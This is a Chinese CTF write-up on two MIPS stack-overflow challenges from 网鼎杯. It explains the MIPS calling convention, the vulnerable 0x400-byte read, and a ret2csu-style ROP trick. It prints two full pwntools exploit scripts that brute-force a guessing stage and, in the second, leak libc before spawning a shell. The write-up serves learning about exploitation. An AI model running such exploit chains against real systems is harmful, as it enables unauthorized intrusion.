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从网鼎杯(第四场)的两题MIPS PWN谈起

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发布时间 : 2018-09-05 11:30:42

0x001 start

调试mips就首先要有个mips的环境，推荐mips qcow2

下载完成后用qemu mips起，apt-get安装好需要的相关工具

#!/bin/bash
qemu-system-mips -M malta 
    -kernel vmlinux-3.2.0-4-4kc-malta 
    -hda debian_wheezy_mips_standard.qcow2 
    -append "root=/dev/sda1 console=tty0" 
    -netdev user,id=net0 
    -device e1000,netdev=net0,id=net0,mac=52:54:00:c9:18:27 
    -net user -redir tcp:2222::22 -redir tcp:22333::22333 -redir tcp:1234::1234

 

0x002 基础知识

查阅相关资料可以得知，mips寄存器作用，和函数调用时候的一些信息。

  • a0-a3: 存储参数
  • fp: fram pointer，用来恢复栈之类的操作，可以理解为和ebp差不多的作用
  • sp: 存储栈地址
  • v0...: 存储一些变量或地址
  • t8,t9: 临时寄存器，t9常常用来调用函数。如alarm的plt调用如下
.plt:00400820                   alarm:
.plt:00400820 3C 0F 00 41                       lui     $t7, 0x41  # 'A'
.plt:00400824 8D F9 14 44                       lw      $t9, off_411444
.plt:00400828 03 20 00 08                       jr      $t9
.plt:0040082C 25 F8 14 44                       addiu   $t8, $t7, (off_411444 - 0x410000)

需要主要的是jr, jalr等跳转指令有个特点

它会先执行跳转指令的后一条指令，然后再跳转。

 

0x003 reverse

程序关键的地方在0x400C30，其他地方的话过一下就清楚是干什么的。

check

对程序进行分析，首先checksec，最好用mips环境的gdb来查看，x86的gdb看会有些问题

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

开了NX，libc库也是随机加载的。

vuln

漏洞点很容易发现，在0x400FF8，往栈上读了0x400字节，但实际上缓冲区没这么大。

.text:00400C30 var_3C          = -0x3C
.text:00400C30 var_38          = -0x38
.text:00400C30 var_34          = -0x34
.text:00400C30 var_30          = -0x30
.text:00400C30 var_14          = -0x14
.text:00400C30 var_10          = -0x10
.text:00400C30 var_C           = -0xC
.text:00400C30 var_8           = -8
; ....
.text:00400FEC                 addiu   $v0, $fp, 0xD8+var_30
.text:00400FF0                 move    $a0, $v0
.text:00400FF4                 li      $a1, 0x400
.text:00400FF8                 jal     readn_400B38
.text:00400FFC                 move    $at, $at

readn_400B38是一个字节一个字节的读，读到回车或者到了0x400-1就返回。

逻辑

漏洞很好找，那么我们就需要到达漏洞点。

0x400C30中逻辑如下：

  1. 栈上一片缓冲区初始化为0x401364等地方的字符串，计为alph0。(We, are等)
  2. 循环8次，每次随机选alph0[len(alph0)/2:]和alph0[:len(alph0)/2]两个部分的一个串交换。
  3. 又一个循环，每次将我们的输入字符串和alph0[i]比较(每次都比较到我们输对了为止)
  4. 计算3所用时间是不是小于3s，如果成立，就让我们到达漏洞点输入0x400

爆破

关于如何输对字符串，我们可以调试看看字符串变成什么样子，然后爆破，通过测试，字符串序列可以如下：

guesslist = ["nomal", "arch", "bcz", "W3Are", "We", "are", "grad", "from"]
for c in range(11, 0x100):
    guesslist.append("hakker"+chr(c)+"h")
for c in range(22, 0x100):
    guesslist.append("hakker"+chr(c)+"d")

 

0x004 rop

由于对mips不熟悉，在这里卡了挺久。

ipowtn(without libc)

sigh

开始看到0x400A9C的system("/bin/sh")很高兴，但是地址是带x0A，不能直接跳过去。

所以就要设置参数a0为"/bin/sh"，然后跳到system，但是MIPS的rop没有直接能设置参数的

如0x00401208: move $a0, $s3; move $a1, $s4; jalr $t9;，要设置t9，但是并没有合适的gadget。

debug

.text:00401200 lw $t9, 0($s1)
.text:00401204 addiu $s0, 1
.text:00401208 move $a0, $s3
.text:0040120C move $a1, $s4
.text:00401210 jalr $t9
.text:00401214 move $a2, $s5
.text:00401218 sltu $v0, $s0, $s2
.text:0040121C bnez $v0, loc_401200
.text:00401220 addiu $s1, 4
.text:00401224
.text:00401224 loc_401224: # CODE XREF: __libc_csu_init+60↑j
.text:00401224 lw $ra, 0x38+var_4($sp)
.text:00401228 lw $s5, 0x38+var_8($sp)
.text:0040122C lw $s4, 0x38+var_C($sp)
.text:00401230 lw $s3, 0x38+var_10($sp)
.text:00401234 lw $s2, 0x38+var_14($sp)
.text:00401238 lw $s1, 0x38+var_18($sp)
.text:0040123C lw $s0, 0x38+var_1C($sp)
.text:00401240 jr $ra
.text:00401244 addiu $sp, 0x38

__libc_csu_init+60里面直接设置好参数，然后跳转到0x00401200，然后jalr $t9调用system@got。

然而，实际上会发现，jalr $t9之后并没有进真实到system，调的是read。

Breakpoint 3, 0x77f860f4 in ?? () from /lib/ld.so.1
gdb-peda$ x/10i $pc
=> 0x77f860f4:    jr    t9
gdb-peda$ x/4i $t9
   0x77ec9bf8 <read>:    lui    gp,0xa
   0x77ec9bfc <read+4>:    addiu    gp,gp,23928
   0x77ec9c00 <read+8>:    addu    gp,gp,t9
   0x77ec9c04 <read+12>:    0x7c03e83b
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  f0000000 77ec9bf8 00000000 00000000 77fa7000 7fd7f0f8 00411420 00401218

了解libc库函数加载的都知道第一次掉没有调的函数前会有ld链接的操作，最后再跳到真正的libc地址。

我们看看system@plt

.plt:00400840                 lui     $t7, 0x41  # 'A'
.plt:00400844                 lw      $t9, off_41144C
.plt:00400848                 jr      $t9
.plt:0040084C                 addiu   $t8, $t7, (off_41144C - 0x410000)

刚开始不是很理解我们jalr $t9调用*system@got和这里有什么区别

但是仔细理解jr指令就发现system@plt是先addiu $t8, $t7, (off_41144C - 0x410000)，再跳转，t8之后用来计算出真正的system偏移。

而在我们jalr $t9调*system@got时，t8是0x411430，就是read@got。

那么我们要调用system，要么设置好t8再跳*system@got，要么直接跳system@plt。由于mips的gadget不像x86那么随意，还是跳system@plt比较容易。

trick

.text:00401210 jalr $t9 之后还有一个gadget，我们很容易使得.text:00401240 jr $ra的$ra为system@plt，接下来就是参数。

其实我们可以发现，jalr $t9调用之后，a0是不变的，因为函数的返回值存在v0,v1里面。

所以我们可以直接在栈上再布好gadget

  1. 0x00401224设置好s0-s5
  2. 0x00401200配好函数参数调用假的system，之后a0还是指向我们设置到值
  3. 程序往下走到0x00401224，设置$ra到plt@system，调用真正的system

exp

#coding: utf-8
from pwn import *
import sys

LOCAL = True
context.arch = 'mips'
context.endian = 'big'

sysshell = 0x400A9C
if LOCAL:
    elf = ELF("./ipowtn")
    #io = remote("10.211.55.3", 22333)
    io = remote("127.0.0.1", 22333)
    #context.log_level = True
else:
    io = remote("106.75.64.188", 18067)
    #context.log_level = True

guesslist = ["nomal", "arch", "bcz", "W3Are", "We", "are", "grad", "from"]

for c in range(11, 0x100):
    guesslist.append("hakker"+chr(c)+"h")
for c in range(22, 0x100):
    guesslist.append("hakker"+chr(c)+"d")

#context.log_level = 'debug'
#pause()
flg_success = 0
timesp = 0
def guessn():
    global flg_success
    global timesp
    if timesp > 20000:
        io.close()
        sys.exit(0)
    for gstr in guesslist:
        #print "testing", gstr
        if len(gstr) >= 8:
            #pause()
            io.send(gstr)
        else:
            io.sendline(gstr)
        try:
            data = io.recvline(timeout=0.1)
            timesp += 1
            #data = io.recvline()
            if len(data) > 5 and "guess it!!!!!!" in data:
                continue
            elif len(data) >= 1 and len(data)<=4:
                log.success("guess over!!!!!!!!!!")
                return 1
            else:
                flg_success += 1
                log.success("ok is "+gstr)
                if flg_success >= 9:
                    return 1
                else:
                    return 0
        except:
            return 0
        finally:
            pass

log.info("starting guess")
while True:
    #pause()
    if guessn() == 1:
        break

io.recvuntil("... go!n")
payload = 0x20*chr(0)
payload += p32(0x411420)    # fp
payload += p32(0x401224)
payload += 'b'*0x24
# s0 s1 s2 s3 s4 s5 ra
#payload += p32(0) + p32(0x411438) + p32(1) + p32(0x401320) + p32(0) + p32(0)
# system got
payload += p32(0) + p32(0x41144C) + p32(1) + p32(0x401320) + p32(0) + p32(0)
# 0x00401200: lw $t9, ($s1); addiu $s0, $s0, 1; move $a0, $s3; move $a1, $s4; jalr $t9;
payload += p32(0x00401200)  # ra
payload += 0x34*chr(0)
payload += p32(0x400840)    # plt system
pause()
io.sendline(payload)
pause()
io.interactive()

ipowtn_reborn(with libc)

第二题后来看了，和第一个的区别就是没有system在got里。所以需要泄漏libc并且在libc里找system字符串。

比赛也结束了，所以我就直接用自己的libc搞搞了。

emmmm…

我的方法并没有用第一个题的方法去调printf，而是直接跳到0x400F0C，原因是这里

.text:00400F0C 02 00 20 21                 move    $a0, $s0         # format
.text:00400F10 44 07 A0 00                 mfc1    $a3, $f20
.text:00400F14 44 06 A8 00                 mfc1    $a2, $f21
.text:00400F18 0C 10 01 F0                 jal     printf

s0直接就是我们第一个参数，我们在第一次栈溢出的时候就可以设置了。

而且跳到这里还有好处就是泄漏完了，立马再进行栈溢出。libc的rop相对来说就为所欲为了。具体可以参考exp。

exp

#coding: utf-8
from pwn import *
import sys

LOCAL = True
context.arch = 'mips'
context.endian = 'big'

sysshell = 0x400A9C
if LOCAL:
    elf = ELF("./ipowtn_reborn")
    #io = remote("10.211.55.3", 22333)
    io = remote("127.0.0.1", 22333)
    #context.log_level = True
else:
    io = remote("106.75.64.188", 18067)
    #context.log_level = True

guesslist = ["nomal", "arch", "bcz", "W3Are", "We", "are", "grad", "from"]

for c in range(11, 0x100):
    guesslist.append("hakker"+chr(c)+"h")
for c in range(22, 0x100):
    guesslist.append("hakker"+chr(c)+"d")

#context.log_level = 'debug'
#pause()
flg_success = 0
timesp = 0
def guessn():
    global flg_success
    global timesp
    if timesp > 20000:
        io.close()
        sys.exit(0)
    for gstr in guesslist:
        #print "testing", gstr
        if len(gstr) >= 8:
            #pause()
            io.send(gstr)
        else:
            io.sendline(gstr)
        try:
            data = io.recvline(timeout=0.1)
            timesp += 1
            #data = io.recvline()
            if len(data) > 5 and "guess it!!!!!!" in data:
                continue
            elif len(data) >= 1 and len(data)<=4:
                log.success("guess over!!!!!!!!!!")
                return 1
            else:
                flg_success += 1
                log.success("ok is "+gstr)
                if flg_success >= 9:
                    return 1
                else:
                    return 0
        except:
            return 0
        finally:
            pass

log.info("starting guess")
while True:
    #pause()
    if guessn() == 1:
        break

io.recvuntil("... go!n")
bss_addr = 0x4113C0
# 0x00400788: lw $ra, 0x1c($sp); move $at, $at; jr $ra;
payload = 0x1c*chr(0)
payload += p32(elf.got["puts"])    # s0
payload += p32(bss_addr)    # fp
# printf
payload += p32(0x400F0C)    # ra
io.sendline(payload)
data = io.recv(4)
puts_addr = u32(data)
log.info("puts address: " + hex(puts_addr))

puts_offset = 0x6DEE0
lk_stack_offset = 0x1873A4
libc = ELF("../mipwn/libc-2.13.so")
libc.address = puts_addr - puts_offset
log.success("libc address is " + hex(libc.address))

io.recvuntil("... go!n")

binsh_addroff = 0x16516C
system_off = 0x41DA0

log.info("system address: " + hex(system_off+libc.address))
payload = 'a'*0x1c
payload += p32(binsh_addroff+libc.address)   # s0 /bin/sh
payload += p32(bss_addr)   # fp
# 0x000ef2fc: move $a0, $s0; lw $ra, 0x1c($sp); lw $s0, 0x18($sp); jr $ra;
# 0x0006e630: move $a0, $s0; lw $ra, 0x2c($sp); lw $s0, 0x28($sp); jr $ra;
payload += p32(0x000ef2fc+libc.address) # ra
payload += 0x24*chr(0)
# 0x13F198: lw $t9, 0xa0($sp); sw $t0, 0x18($sp); jalr $t9;
log.info("at "+hex(0x13F198+libc.address))
payload += p32(0x13F198+libc.address) # ra
payload += 160*chr(0)
payload += p32(system_off+libc.address)
pause()
io.sendline(payload)
pause()
io.interactive()

 

0x005 Summary

总的来说，就是包了个mips的栈溢出，其实不难，但是比赛的时候不熟悉，环境也没有，赛后查指令做了一天。。

本文由wooy0ung原创发布

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